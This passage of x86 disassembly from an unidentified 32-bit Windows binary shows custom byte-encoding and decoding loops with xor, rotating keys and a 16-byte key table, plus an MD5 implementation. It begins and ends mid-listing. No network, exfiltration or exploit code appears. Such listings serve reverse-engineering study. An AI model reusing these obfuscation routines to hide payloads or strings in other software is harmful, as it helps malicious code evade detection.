loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EBA8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EBA8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _lrotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _lrotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
